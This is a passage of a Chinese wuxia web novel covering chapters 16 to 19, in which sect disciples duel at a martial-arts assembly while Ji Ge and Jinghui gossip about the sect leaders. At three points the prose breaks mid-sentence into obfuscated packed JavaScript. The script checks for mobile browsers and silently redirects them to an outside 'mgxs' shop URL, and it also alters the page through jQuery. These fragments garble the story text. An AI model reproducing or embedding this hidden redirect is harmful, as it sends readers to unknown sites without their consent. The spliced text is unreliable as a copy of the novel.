静慧看他一眼,道:“季少爷,你还没看出来吗,方才闫无虚故意将闫让礼拍晕,就是怕他把修习秘籍的事说出来。” 季歌不解道:“说出来便说出来,有什么大不了的。我看那秘籍只是杀伤力强了点,也并非如你师父所说,是不能修习的邪书、禁书和妖书,让大家知道了又如何,又不是什么丢人的事。再说,出了这样的事,谁都不愿意看到,闫让礼也是因为没有修习到位,没控制好掌法,这才错手伤了了智,这也无可厚非。回头等了智恢复好了,闫伯伯亲自带着他前去少林寺,登门赔罪即可。他们两家都在嵩山,离得又近,多方便的。况且了智也没有性命之忧,有什么不能当面澄清的。” 静慧道:“你懂什么。闫无虚这个人最好面子,若是让他当着这么多人的面,承认闫让礼将少林方丈无尘大师的爱徒重伤,用的却不是本门自创的寒冰神掌,而是从一个不知底细的神秘谷底得来的,尚不知好坏的诡异秘籍,那比杀了他还难受。他这一派之长的脸以后往哪儿搁,以后这大罗寒冰神掌他还好意思练不?日后行走江湖遇到麻烦,还好意思把这套掌法使出去不?” “但凡他使一次,别人看到,就算不当面讥讽一句‘闫掌门,你这苦苦自创了二十多年的掌法竟然还不如从一个阴祟谷底信手拈来的掌法厉害’,也会背地里看他笑话。这让一个极度好面子的人脸往哪儿搁,日后如何行走江湖,掌门之位以后还能坐得踏实吗?” 季歌道:“那等事后,他亲自登门赔罪,不也得向无尘大师解释这些?还不是一样的效果。” 静慧道:“你懂什么。那无尘大师是出家人,年纪也有七十了吧。上了年纪的出家人哪个喜欢搬弄是非,嚼舌根呀。闫无虚私下去找无尘大师赔罪那便算是私了,态度诚恳一点,语气温软一点,随身携带的礼金再多一点,无尘大师哪有不原谅的。” “再说,私下解释和当这么多人面解释能一样吗。那天一起去沐恩谷的门派里面,有很多人今日来了衡山,他们人人都知道闫让礼从老谷主那里得了一本大罗寒冰神掌。当着这么多人的面撒谎可不容易,万一被人戳穿了,脸往哪儿搁啊,最后还不是得承认?” “可是私了就不一样了。当着无尘大师的面,闫无虚只需谎称孽徒闫让礼修习本门掌法时日较短,尚未完全将这套掌法掌握,一时心急求胜,真气错乱,掌法失控,才不小心误伤了了智。” “那无尘大师是个心性淡泊的老和尚,又不是好事的老和尚,又兼上了年纪,就算清楚事情的原委,知道他巧舌如簧,想必也不会对外张扬。一旦抖落出去,打了 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于是道:“我看闫伯伯是个温和有礼之人,门下六个闫姓弟子也都被他教育得儒雅谦和,端方有礼。这样的人,怎么会像你说的那样,心思那么多呢?” “况且我小的时候,闫伯伯来过衡山好多次,经常与我父亲坐在一起谈笑风生,笑议江湖事。他这个人一向爱笑,无论见了谁都一副微笑面孔,待人接物没有一点架子,和我父亲的关系也很好,见了我还经常给我糖吃,经常抱我,并非你说的那般城府深。” 静慧道:“他爱笑,是因为他是个笑面虎,还是个极好面子的笑面虎。他平时爱笑,对人好,再正常不过。你看一个人本质好不好,就看涉及到他的利益的时候,和你争夺好处的时候,他还和你笑不笑了。” “就比如今日之事,他先是一掌将闫让礼拍晕,让无尘大师无法当面找他质询,接着又说会花重金,在普天之下遍寻名医为了智诊治,给无尘大师台阶下。最后,又说等了智恢复,自己定会亲自拎着孽徒上门赔罪。他这么一连串操作下来,无尘大师还能怎么办?还能有什么说辞?总不能当场撕破脸吧?面对那样一张温和笑脸,当场翻脸岂不显得自己不近人情?以无尘大师的德行体面,只能顺坡下驴,接受他的安排,带着自己重伤的徒弟火速离场。可是我方才看得很清楚,他的表情十分严肃,脸色十分难看,明显心里有气。” 季歌支着下颌想了半晌,道:“我还是觉着闫伯伯是个好人。就算如你所说,他把闫让礼一掌拍晕是为了防止他将大罗寒冰神掌的事抖出去,但他说要花重金遍请名医,替了智治病,并且允诺事后将会登门赔罪,不过是尽了一个江湖人最基本的礼数,也是生而为人最珍贵的善良。徒弟做错事,师父就得挨打。他这么做非但不是城府深的表现,反而表现出了一派之长最基本的气度,我觉得挺好的,并非你说的那般不堪。” 静慧听他这么说,心里朝他翻了个大大的白眼,道:“随你的便吧,爱咋想咋想。” 16. 群雄盛会(4) 待场中陆续安静下来,季怀璋一声清咳,道:“请后面比试的门派注意分寸,点到为止,莫要再生出方才之事。下一场,由青衣派对阵四方宫。” 话音刚落,季歌就见坐在第一排的宣仪朝这边回过头来,目光越过他和静慧,定在二人身后的某处,道:“静深,这一场,便由你来上吧。” “好。” 身后立时有人应了一声。 季歌回过头,看到一名女子站了起来。她身量中等,姿色平庸,甚至可以说,长得有些难看。拿到上场的机会,脸上却一副阴沉晦暗,没有喜色,也不见悲色,颇有些不同寻常。只见她站起身,从众姐妹间出去,缓缓走向演武场,身形萧索落寞,一点都不似三十岁出头的芳龄女子,而是个弯腰驼背的八九十岁老妪。 静慧忽然冷笑了一声。 季歌回眸看她,只见她脸上一股微妙之意,仿佛注视的不是本门的师姐妹,而是一个毫不相干的陌生人,神色间不抱有任何期待和鼓励之意。他心下奇怪,又回头看了眼坐在后面的一众青衣弟子,见她们脸上也都流露出微妙之色,不由微微诧异。 他道:“这静深是你们青衣派哪号人物,怎么感觉大家都有点怕她?” 静慧目不斜视,看着场内道:“不是怕,是冷漠,是反感,是厌恶。” 季歌道:“为何?只因她不笑,性子不讨喜么?” 静慧道:“没那么简单。” “你看她长得那么普通,却极为高傲,平日里完全不把我们这些师姐妹放在眼里,跟她说句话,连正眼都不带瞧我们一下,也不知她哪儿来的自信,一件衣服穿半个月都不带换的,也不洗澡,离她五米远都能闻到身上那股馊味儿,真教人恶心,也不知师父喜欢她什么!” “哦?”季歌怪道:“宣仪姑姑喜欢她?” 静慧道:“虽说比我和静柔大了许多,在门中也不过排行老二,大师姐比她入门早,都没那么高傲的。身上也无甚长处,不过是比别的师姐妹勤奋了些,师父便那样宠她,偏袒她,还把最好的剑招都教给了她,费尽心力地栽培她。大师姐都没有这样的待遇,凭什么!” 季歌听她答非所问,道:“那个……也许是她天赋异禀,学得快,宣仪姑姑也就教得多呢。都是自己的亲传弟子,应该不至于厚此薄彼,你们想要赶上她那个进度,只是时间早晚问题,只需勤加练习就行。” 静慧道:“你懂什么!师父就是偏爱她,也没见她有什么天赋!”语带嫌恶。 季歌见她有些生气了,便没再吭气。 忽然有人拍了拍他的肩。季歌回过头来,却是灵甜过来了。只见她撅着一张樱桃小嘴,不高兴道:“季哥哥,我说你怎么跑了,原来是过来找姑娘们玩了。你玩就玩吧,怎么不带我,自己倒众星拱月一样往花丛里一坐,好不快活。” 季歌笑着从隔壁少林派抽了一张空椅子过来,让灵甜坐下,道:“我嫌父亲在前面坐着,说话不自由,来这儿透个气儿。” 边说边向高处的主位瞟去,却见季怀璋刚和母亲说完话,一双鹰眼便即投射过来,目光锐利如刀。触及他目中的冷电,季歌顿时如堕冰窟,当即低下头来,不敢与他对视。 他从小就怕季怀璋,每次见到父亲,不是耷拉着脑袋不说话,就是在季怀璋看到他之前便已远远地避开,尽量避免与他目光相接,正面交锋。 这次他出门半年之久,没有提前报备,也没有按期回来,走到哪儿算哪儿,沿途也没有及时禀明行踪,想来季怀璋心里早已积攒了不少怒气,秋后算账是早晚的事儿。 灵甜见他情绪低落,向高处瞟了两眼,道:“别怕,多大点事。季伯伯只是表面看着板正严肃,其实心里十分爱你。他只是不善于表达,嘴上不说,其实心里对你心疼得紧啊。往后你多与他亲近亲近,多陪他走走,多聊聊天,季伯伯对你也就不会冰块脸了。” 季歌听她这么说,心情稍稍有所好转。 灵甜不想他心情不好,便一直陪他说话逗笑,不过片刻便将他哄得前俯后仰,哈哈大笑。 季怀璋坐在高处看到,心中生怒,愠道:“瞧瞧,二十多的人了,一点上进心都没有。站没站相,坐没坐相,举办这样的盛会是给谁看?” 纪霜华温声道:“老爷,季儿不是小孩子了,有些话能说,有些话不能说。他有时候嘴上不说,心里是清楚的,老爷以后不要再用方才的眼光看他了。” 季怀璋道:“我方才什么眼光?” 纪霜华笑道:“你呀,白眼儿都快翻上天了。整天绷着张脸,满脸褶子都挤不出个笑来,哪个孩子喜欢这样的父亲。” 季怀璋欲待辩驳,这时一个七八岁的小男孩跑了过来,抱住纪霜华一条手臂,轻轻摇晃,道:“娘,我要吃蜜饯……” 纪霜华道:“吃什么蜜饯,牙都快掉没了。”说着掰开男孩的嘴,朝里面左瞧右瞧,“满口的牙洞,都是吃甜食吃的。以后再让娘看到你吃糖,给你一顿板子。”说着脸现怒意,佯装生气。 男孩见求娘不成,两条小腿吧嗒吧嗒地又扑向季怀璋怀里,道:“爹……” 季怀璋缠不过他,拿起一块蜜饯,塞进他的嘴里,道:“最后一块,下不为例。” 男孩吃到蜜饯,脸上立时露出甜甜的喜色,当即去玩了。 纪霜华看着季怀璋脸上强忍的溺爱都要溢出来了,怪道:“你看你,对季泽就言听计从,怎么都行,对季儿却总凶巴巴的,不能一视同仁。” 季怀璋道:“用你的话说,季儿不是小孩子了,该有点大人的样子了。”转眼瞟见季歌笑着笑着,都笑到灵甜身上了,立时心中生怒,“还不都是你惯的,大庭广众之下,也没个分寸!” 纪霜华抿嘴一笑。望向季歌和灵甜,半晌,忽然道:“就是可惜了灵甜这孩子……” 季怀璋道:“可惜什么?” 纪霜华道:“玉玄子捡到灵甜的时候,她才季泽这么大吧。那么小的年纪,又是个女孩子,唉……”说着轻轻叹气,“她自小与季儿一处玩耍,脾气秉性相投,感情也极好,若是没做了姑子,和季儿倒也般配。” 季怀璋面色微微一变,没有说话。 纪霜华看他不说话,又道:“你说甜儿做了姑子,应该还能还俗吧?” 季怀璋面色一滞,道:“这些都还早着,以后的事以后再说吧。”沉下脸来,面色不悦。 静深上场时,吴长风已在场上等候多时。他们四方宫只来了他一人,也算当仁不让了。 只听静深一句“承让”过后,二人正式交战。静深使的是青衣派的落英剑法。落英剑法招数虽不算难,杀伤力也不强,却最为经典,使出来也最得心应手。 吴长风则拿出了自己最拿手的一套四方宫乱环刀法。虽为比试学习,二人却都用上了自己最拿手的功法,是以一经交手,便步步紧逼,不相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468422|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上下。一时间,场中硝烟四起。 只见静深一套落英剑招使得行云流水,飘逸绝伦。可惜她不是美人,身姿不够曼妙,否则以青衣派邱瑛祖师创立的剑招之隽秀,足以令在场所有人为之倾倒。 而四方宫的乱环刀法使出来就不那么文雅了。这套刀法连环进击,攻击性极强,十分粗暴。吴长风又长了一副豹头虎眼、虎背熊腰的模样,一经出手,简直给人一种街头醉汉欺负小姑娘的错觉。 不过,乱环刀法虽然阴狠凶辣,落英剑法却能以柔克刚,以屈求伸。面对对方的着着进攻,招招狠辣,静深并不急于对抗,也不着急反攻,反而暂避锋芒,寻求良机,专攻对方软肋。 俗话说,最好的进攻就是防守。只见一把青剑握在她手里,剑招变幻无穷,剑势来无影而去无踪。吴长风步步进逼,静深连连退让,退到场边,退无可退,突然一个鹞子翻身,跃过吴长风头顶,径直刺向他的后背。 吴长风当即转身还招,却一下子没招架住静深突如其来的凌厉剑势。只见青剑频频刺出,愈刺愈快,愈刺剑招愈是变幻无穷,直晃得吴长风眼花缭乱,应接不暇,脚下节节败退,脸现慌乱之色。 静深却不急于取胜,一套绵密剑招使将开来,一招接似一招,似柔似刚,却不下狠手,仿佛逗弄吴长风似的。吴长风本就有些应接不暇,一套乱环刀法使得愈来愈乱,又被她连番羞辱,登时憋得脸上通红,出手更加凶狠,却始终找不出落英剑法的纰漏来。 只是须臾,静深便攻守易换。愈斗愈至佳境,愈斗愈占上风,舞剑的身姿也更加轻巧曼妙,举重若轻。吴长风却心乱如麻,渐渐落入下风,时间久了,越发沉不住气,只想快速结束比试。只是他一套刀法此时已被静深完全制住,落英剑法便如金钟罩般,将他的乱环刀法完全罩住,纵是他有再大的本事此时也施展不开了。 只见吴长风愈斗愈急,愈急愈乱,好好的一套刀法被他使得乱七八糟,颠三倒四。一把乱环刀在空中舞得飞快,却不能奈住静深分毫。 玄极在场外看着,脸上露出失望来。 斗至中途,吴长风终于支撑不住,一声爆喝,将钢刀扔至地上。运力于臂,突然双拳击出,与静深的剑背撞在了一起。 静深万没想到他会突然变刀法为拳法,一瞬间来不及多想,青剑径直抵了上去。然而甫一相击,便觉对方那两只拳头犹如两只铁锤一般,竟是带着无穷劲力,闷头砸至。 强大的力量击得静深摔了出去,差点摔下演武场。她勉力用青剑抵住身子,刚想站起来,突然感到腿上虚软无力,一把青剑在手中剧烈震颤起来,握着剑柄的手也在一瞬间掌心开裂,滋出血来。 吴长风瞅准时机,箭步上前,探出拳来,一拳击在她的剑刃上。只听一声“破!”,青剑在她手中瞬间碎裂,却非断裂,而是化为齑粉,纷纷扬扬,四散空中。 静深惊疑不定地看着自己手中的剑就此灰飞烟灭,怒从中来,脚在地上猛力一蹬,整个人立了起来。眼看吴长风双拳又至,想也不想,伸出手来,双掌迎击。 “砰”,双拳和双掌击在了一起,静深瞬间双目圆睁,一动不动了。宣仪从椅子上站起来,脸现忧色。 静深表情凝肃,两眼直勾勾地盯了吴长风半晌,突然张开口,一滩黑血呕了出来。整个人如风中落叶,雨中浮萍,摇摇欲坠。宣仪眼疾手快,当即冲上场去,将静深缓缓倒下的身子抱在怀里。 17. 群雄盛会(5) 众人见场中出了状况,纷纷起身观望。 季歌、灵甜和静慧也震惊不小。 静慧道:“早就听闻那吴长风品行卑劣,是个目中无人的小人,今日一见,竟还是个心狠手辣之徒。” 静深倒在宣仪怀里,还在大口大口地吐着黑血。艰难地抬起手,指着吴长风,道:“他……他……” 宣仪看向吴长风,道:“比试过招而已,竟使出这等阴毒功夫,真是卑鄙无耻,下流至极!”两眼猩红,恨意几乎溢出眼角。 吴长风摩拳擦掌,脸上露出得意之色,显然对自己方才一战甚是满意,并不觉得出手过重。宣仪正待呵斥,突然见他停下了手中动作,面部僵住。下一刻,便见他口中狂吐鲜血,整个人如庞然巨物般,倒了下去。“咚”的一声,砸得地面震天价响。 在场众人无不惊叫出声。 静慧“哦哟”了一声,道:“他怎么也倒了?” 坐在场下的玄极老眼昏花看到,立时脸色大变,惊叫出声:“长风!”站起身来,拄着拐杖,颤巍巍地向演武场来,边走边一双泪眼婆娑。 静慧瞧着玄极身形可怜,啧啧道:“这吴长风也是不干人事,出手那么狠,遭了反噬还得他师父替他收拾烂摊子。” “四方宫这次只来了两个人,玄极老儿又上了年纪,走路都费劲,眼下他自己倒了,我看他们一老一瘫怎么回去。”说着拉长了语调,阴阳怪气,“我就说嘛,做人别太自傲,给别人留条生路,也给自己留条活路。这练武跟做人一个道理,事儿别做得太绝,否则老天也看不下去。” 季歌摇了摇头,道:“不是。” 静慧看了他一眼,道:“什么不是?” 季歌道:“不是你说的那样。” 静慧道:“那是什么?” 季歌道:“吴长风之所以重伤静深后,会反噬到自己身上,是因为他方才使的是本门的七伤拳。” “七伤拳?”静慧道:“我说怎么这么厉害,非但重伤了静深,还把自己打了个半死。” 说到这里,忽然想起什么来,道:“你不是从来没下过山么,你是怎么知道七伤拳的,我都没见过。” 季歌道:“我在山上待了二十三年,也不是白待的,这套拳术收录在江湖十大丧心病狂招式之首,我小时候在小人书上看过插图,使出来就是方才的模样。” 静慧道:“那你还真是见多识广。”说到这里,忽然想起一事,道:“那吴长风那日不是从老谷主那里得了本金乌心经么。据那老谷主所言,金乌心经似乎可以缓解七伤拳给自身带来的危害,怎么吴长风会伤的这么重?” 季歌道:“兴许那本金乌心经他还没有练,或者还没有练出效果来。” 玄极颤颤巍巍地捱到场边,将吴长风艰难抱进怀里,颤声道:“长风,切磋而已,你何至于使出这套七伤拳啊……” 吴长风口中狂涌鲜血,道:“师……师父……那婊子不把我们四方宫放在眼里,徒儿……看不下去……” 玄极颤抖着手,将吴长风嘴角的血拭去,道:“师父现在就带你回去,师父一定能给你治好,一定能给你治好。”说着就要抱吴长风离开。奈何他年老体弱,试了几次也没抱起来,反而被秤砣一般的吴长风压倒在身下。 季怀璋挥了挥手,示意两名衡山弟子上去,将吴长风抬了下去。 静慧目送着玄极被扶下台去,气道:“玄极这个老糊涂,平时喜欢当和事佬,一问三不知就罢了,如今重伤了我们青衣派的弟子,竟然一声道歉都没有,还腆着张老脸安慰吴长风,好像自己门派受了多大委屈似的。怎么,吴长风伤重,我二师姐就伤得不重么?什么老糊涂,我看他是只老狐狸!” 季歌听她说话,似乎对自己这位讨厌的二师姐并非漠不关心,心里还是向着她的。只是她一开口,便将玄极骂得一无是处,体无完肤,心里不觉有些膈应:“小时候玄极伯伯经常来衡山做客,和父亲畅谈古今,谈天说地,一坐就是一下午。那会儿他还是个精神矍铄的小老头,为人舒朗十分大方,何时成了老狐狸了,又何时一问三不知了?” 细想之下,心道:“定是静慧自己心眼儿太小,想得又太多。她不喜欢玄极伯伯,心里又怪罪他没管好自己的徒儿,伤了她的二师姐,才会对他有所偏见。要么就是玄极伯伯自己年纪大了,有些老糊涂了,也不爱说话了,这才被她误为老奸巨猾,其实不是这样。” 宣仪缓缓起身,命门下弟子将静深抬了下去,自行下得台来,回到座位上。季歌见她竟然对吴长风重伤静深一事不予追究,怪道:“吴长风这厮把你二师姐伤得这么重,你师父为何不追究?” 静慧幽幽叹气道:“师父和玄极掌门关系不错,要追究也是私下追究,而不是在这儿。” “况且,说是追究,最多也就嘴上拌上两句,也不会因为这个事便坏了两派的关系。至于吴长风和二师姐,只能带回去私下诊治了,他俩倒霉。” 季歌心想:“今日未见还真是不了解,原来这些个江湖门派互相之间已经捆绑得这么深了。我以前只知大家各自开山立派,各过各的,偶尔有盛会参加,也只是坐下来聊一聊,闲话家常,寒暄几句,没想到个中牵扯这么深。” 季怀璋站起身来,肃声道:“我再次声明,请各个门派切磋武艺时注意手上轻重,我们掌门人大会自成立以来,一向都以交流学习为主,并不是非得争出个一二三来,况且赢了也无甚好处,更不是绝地求生。请后续参加比试的门派注意分寸,如有违抗,立即取消参会资格,我说到做到!” 说到这里,心里禁不住也犯起疑来:“何以这次掌门人大会状况频出,屡次犯禁,这中间到底有何猫腻?” 第三场由玉琨山对阵武当派。 玉琨山派出了大弟子毛一平。毛一平一上场,便开始全方位地活动筋骨,表现得跃跃欲试。等了半天,才见一名五官稚嫩的小道长自武当派缓缓走上场来。 那小道长看着只有十一二岁,个头才到毛一平腰部,看起来乳臭未干。毛一平看着他,好一阵摩拳擦掌,抬了抬颌,道:“小道长,断奶了没?” 季歌听他说话粗俗无礼,小声道:“那日在沐恩谷,这毛一平行为举止便十分粗鲁,想来也不是什么懂礼数的善茬。” 静慧道:“玉琨山的掌门仇正浓自己就是个毛毛躁躁的真小人,平时阴谋暗算都写在了脸上,这种掌门治下,能教出什么好弟子来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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软剑如长蛇探出,迅速缠住了毛一平的弯刀。毛一平用力挣了一下,没有挣开,却见那缠在弯刀上的软剑就像焊上去了一般,紧紧贴在弯刀上,让它发挥不出丝毫威力。毛一平脸上微现慌乱,欲要收回弯刀,却见两柄弯刀已被软剑缠死,绞死,不得动弹。 正不知如何是好,突然那柄软剑从中裂开,细分出了一柄更细更软的剑,软趴趴地滑落下来,正如蛇身上蜕下的蛇皮,轻薄细软。 他吃了一惊,只见自己距离这柄细剑不过寸余。正待撒手,那支细剑已如蛇信子般迅疾吐出,径直钻过两柄弯刀间的缝隙,刺向自己的咽喉。 他心下大惊,当即撒手,脚下快速后退几许,却觉脖颈蓦地一凉,缓缓低下头来,一根细剑已直直抵住他的咽喉,保持着微微刺入的状态。 变起仓卒,只在眨眼之间。 季歌见小道长不废除灰之力便制服了比他高出一半身高的大汉,发自内心的赞道:“好剑法!” 静慧看了他一眼,道:“什么剑法?” 季歌道:“武当的绕指柔剑。” 静慧道:“绕指柔剑处于什么阶次。” 季歌道:“低阶。” 静慧道:“竟然只是低阶。”心觉好笑,“这毛一平说话口气那么大,竟然连武当的低阶剑法都赢不过。” 季歌轻轻一笑,道:“雷声大,雨点小呗。” 18. 群雄盛会(6) “你道只有你有两副兵刃?” 小道长一根细剑抵着毛一平的咽喉,看着他笑:“我方才若是再往前轻轻一送,你这条命已经没了。” 交手不过数招,便被一个十来岁的孩子用剑指着咽喉,滋味着实不好受。毛一平松开弯刀,恼羞成怒道:“玩这些花把式有何用,不过是迷惑人眼球的杂耍,有种赤手空拳来!” 小道长将软剑和弯刀远远丢开,道:“好啊,你先来。” 毛一平两眼一瞪,道:“凭什么我先来?” 小道长笑道:“我先来,怕你吃亏。” 毛一平听他如此轻视自己,恼羞成怒,道:“我偏不先来,你先来。” 小道长轻轻一笑,道:“好,我先来就我先来。可咱们事先说好了,输了可别怪别人先下手为强。” 毛一平听他小小年纪,说话语气便如此傲慢,不将别人放在眼里,心里有气,却不便当场发泄,冷冷一哼,道:“谅你也赢不了。” 小道长微微一笑,双腿轻轻摆开,身体呈下压姿势。两手立起成掌,做出迎战姿势。毛一平见他定住半天都不动弹,怪道:“不是让你先来么,怎的不来?” 小道长道:“我已经出手了,只是你没来应战而已。眼下我这双手已蓄满功力,你不试怎么知道?” 毛一平听他这么说,面露半信半疑神色。伫立原地半晌,突然一声嚎叫,张开双手,使出一套琨山玉碎掌法,向小道长冲去。 小道长兀自站立不动,沉肩坠肘,双手腾挪移转,心随意动。 季歌道:“太极掌法。” 静慧瞧他一眼,道:“你又知道了?” 季歌没有吭气。 只见毛一平一掌拍在小道长肩上,立时触电般被其弹开,面露痛苦之色,显然震得不轻。毛一平不信其邪,一声怒吼,再次来袭,不想小道长一套太极掌法正缓缓运至至高境界,迎面撞上毛一平一双肉掌。立时,以慢打快,以柔克刚,以静制动,毛一平双掌被其震飞,整个人远远摔了出去。 前后不过两招。 季歌忍不住叫道:“过瘾!“ 静慧道:“这算低阶还是中阶?” 季歌道:“高阶。” 顿了顿,“不过同阶之下,不同人使出来,效果也不同。方才这一掌若是由清虚道长使出,毛一平恐怕早已一命呜呼,非死即残。” “哦……”静慧颇有些大开眼界,道:“那方才的流星步算哪个阶?” 季歌道:“低阶。” 静慧道:“高阶是什么?” 季歌道:“武当梯云纵,又称天下第一轻功。” 静慧来了兴趣,道:“那天下第一掌法呢?” 季歌道:“小道长方才使的太极掌法。” “那第一剑法呢?” “武当的太极剑法、两仪剑法,两者不相上下。” “第一棍法?” “少林棍。” “第一枪法?” “少林枪。” 静慧道:“怎么全是少林,武当,这两个门派有这么厉害?好的招式都让他们占了?” 季歌有些头疼地睨她一眼,道:“不然你以为少林武当为何不屑于参与江湖中事,只在每年的掌门人大会上露一露脸,使的还都是些低阶功夫。方才若不是毛一平逼得太狠,那小道长年纪又小,少年心性,否则根本不屑于放大招。强者就是如此,矜持冷漠。谁菜谁爱显摆。” 静慧似懂非懂地点了点头,道:“那第一拳术呢?” 季歌道:“少林的罗汉拳。” 静慧怪道:“七伤拳不算吗?” 季歌脸上露出无可奈何的表情来,似是对她这一提问感到匪夷所思,难以置信。扶了扶额,道:“静慧妹妹,七伤拳早已被列为江湖十大丧心病狂招式,为武林人士所不齿,你觉得还排得上号吗?” 静慧嘟嘟嘴道:“不懂。”顿了顿,又道:“那天下第一内功心法呢?” 季歌道:“去年是武当的九阳功。” “去年?” 静慧道:“还分去年今年?” 季歌有点聊不下去了,有些不耐烦道:“江湖榜每年都会变动。主办方根据天下掌门人大会的最终比试情况,对江湖榜进行更新,这一点……你不知道吗?” 静慧摇了摇头,露出一脸迷茫来。季歌见她这副表情,头有十个大了,再次扶了扶额,道:“静慧妹妹,我初次下山都知道这些,你身为一介自由自在的江湖人,怎么知道的还没我多?” 静慧撇撇嘴道:“不知道就是不知道,这些你都是从哪儿看的?” 季歌无语道:“江湖小报每年都会登,这些……你都没留意过吗?” 静慧道:“我留意这些做什么,我本来就不喜欢练功,没的关注这些,头皮发痒。”说着脸上露出嫌弃来,道:“真搞不懂你们男孩子,每天净忙着研究这些乱七八糟的功法,什么刀法剑法,拳法掌法,轻功气功,袖功剑阵,指法点穴,内功心法,低阶中阶高阶的,听得人脑仁疼。我们女孩子,就没这些讲究了,会点功夫防身就行了。” 季歌听她这么说,眼光不经意地向坐在前排的宣仪一扫,低声道:“这话若是让宣仪师太知道,可是不大中听啊。” 静慧撇撇嘴道:“管他呢,反正我一介闲人,是青衣派练功最不上心的一个,从小到大,师父早都见怪不怪了。”顿了顿,问道:“听你方才说,七伤拳排不上号,既然这天下第一都是江湖人自己推出来的,那若是有的门派不愿意将自己的本门功法展露出来,是不是就不会排在江湖榜上了?” 季歌道:“自然,就好比方才说的第一内功心法。” 静慧道:“内功心法怎么了?” 季歌道:“虽然江湖人普遍认为当今第一内功是九阳神功。但是据小道消息,天下第一内功其实是段无涯自创的‘天地无涯内功心法’。这套内功无论搭配刀法、剑法、枪法、棍法,还是拳法掌法,轻功袖功,都能以一敌百,所向披靡。不管使的什么功夫,一旦拥有了这套内功,凭你的剑招刀法再劣,也是天下无敌。” “天地无涯……” 静慧重复了一遍,道:“我好像听说过。既然天地无涯这么厉害,那为何江湖人都推举九阳神功为天下第一内功心法呢?” 季歌道:“段无涯前辈为人十分低调,淡泊名利。他自从创立这门心法后,便再未参与过任何形式的江湖排名,只因他只想以此提升自己的个人功力,实现个人夙愿,或将此作为武学宝藏流传于后世,并无其他沽名钓誉,争名夺利的心思。并且这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468424|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套内功杀伤力强,他连御敌都不肯使用,又怎会高调地参与排名,只喜一个人自娱自乐罢了。” 静慧怪道:“那这套内功岂不是只有他一人会了。” 季歌叹道:“不是只有他,是没有人会。” 静慧怪道:“为何?” 季歌道:“因为早在二十多年前,段无涯前辈突然不知所踪,在江湖上销声匿迹,一点消息和线索都没有留下。没有人知道他去了哪儿,也没有人知道他是不是还活着。有的人说他已经死了,也有的人说,段前辈从自创的天地无涯中参透了道法,自此云游仙去,不问世事。总之,众说纷纭,没个准头。” 旁边另一弟子听到,插话道:“非也。段无涯是个大魔头,人人闻风丧胆,臭名昭著。” 静慧似懂非懂地点点头。 毛一平倒在地上,还想再战,试了两次没爬起来,心中气馁,只好仰面躺平,表示认输。 小道长走到他身前,居高临下俯视着他,道:“也是老大不小的人了,怎的还这般鲁莽冲动呢。” 说话奶声奶气。 清虚道长坐在场下,沉声道:“谷桥,不得无礼。” “赢了便下来吧。” 闻言,谷桥朝场下的师父嘿嘿一笑,露出两排并不整齐的幼齿。经此大战,方露出孩童般的笑容。 季歌心中感慨,道:“真是英雄出少年啊,武林振兴,未来可期。” 静慧道:“你也是少年,还羡慕起别人来了。” 第四场由金刀寨对阵问心剑派。 金刀寨人目送着金木兰手提钢刀,英姿飒爽地走上演武场,眼中纷纷流露希冀之光。 今年的江湖榜上,金刀寨位列第一百三十名,靠的不是金刀寨的整体实力,而是金木兰的个人水平。金刀寨的门人心里都清楚,天下掌门人大会邀请的门派,实力须位列前五十,按理说,金刀寨是没有资格参会的,只因金木兰的父亲金彪生前与季怀璋关系要好,二人早年称兄道弟,一同仗剑江湖,感情极深。金彪暴病身亡后,膝下留有一独女,就是金木兰。季怀璋出于对兄弟情义的感念,今年又是盛会的主办方,这才对小小的、并不起眼的金刀寨开了后门。 未能获得参会资格的门派对此固然心怀不满,但碍于季怀璋的颜面,只能忍气吞声。而现场来参会的门派,也只当陪他们闲玩,游戏人生,没有谁想桶破这层窗户纸。 金刀寨之所以派出寨主金木兰,主要还是因为他们金刀寨以藏刀为主,长于钻研兵器本身,拳脚功夫却不行,否则金木兰也不会费尽心思去夺那本破空刀法了。 在场中缓缓站定,金木兰腰背挺直,身形魁梧矫健,除却妆发和着装,背影看起来与男人无异。她伫立须臾,却迟迟不见问心剑派的人上场,于是道:“敢问问心剑派派出哪位英雄上场,在下很想领教一番。” 说完这句,仍不见有人上来。 季歌目光缓缓投向问心剑派的人丛,见众人都凝肃端坐,无一人起身。正自纳闷父亲今年会派谁来出这个风头,就见季晨一边活动着筋骨,一边乐呵呵地向观众打着招呼上场了。 在场上站定,不忘向远在场下的季歌一挑眉眼,露出幸灾乐祸的表情,那模样仿佛在说“看好了”。 季歌微微一笑,心领神会。 19. 群雄盛会(7) 他与季晨自幼交好,感情极深。小时候不是一块读书,就是一块切磋武艺,陪练陪读,聊以解闷。季歌常年不得下山,山上待得久了,风景看腻,难免生出偷跑下山的心思。而季晨的作用,就是负责看住他,以及……随时向季怀璋传递情报,汇报季歌的一切动向。 